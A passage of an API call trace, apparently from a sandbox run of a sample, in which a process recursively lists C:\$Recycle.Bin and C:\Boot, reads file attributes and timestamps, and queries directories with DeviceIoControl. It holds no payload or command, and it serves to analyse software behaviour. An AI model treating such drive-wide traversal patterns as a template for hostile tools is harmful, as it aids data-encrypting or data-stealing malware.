ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0037.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.847] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0037.847] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0037.847] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0037.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.848] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0037.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.848] NtClose (Handle=0x134) returned 0x0 [0037.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f610 [0037.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5850 [0037.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5958 [0037.848] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0037.848] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.850] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0037.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5a60 [0037.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f610) returned 1 [0037.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x30ddb0 [0037.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5b68 [0037.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.850] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0037.850] GetLastError () returned 0x12 [0037.850] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bf8 [0037.850] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.850] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.850] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0037.850] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0037.851] GetLastError () returned 0x12 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5958) returned 1 [0037.851] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5a60) returned 1 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5850) returned 1 [0037.851] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0037.851] GetLastError () returned 0x12 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f720) returned 1 [0037.851] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f7a8) returned 1 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.851] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Boot", cAlternateFileName="")) returned 1 [0037.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.851] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x17af664 | out: lpFileInformation=0x17af664*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0037.851] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0037.851] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af6a8, lpLastWriteTime=0x17af6a8) returned 0 [0037.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.851] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af700, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af700, lpOverlapped=0x0) returned 0 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.851] NtClose (Handle=0x16c) returned 0x0 [0037.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0037.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0037.852] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459b78 [0037.852] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.852] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x30ddd0 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f610 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x30ddf0 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f588 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed5850 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f500 [0037.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed5870 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f478 [0037.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed5890 [0037.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f3f0 [0037.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, 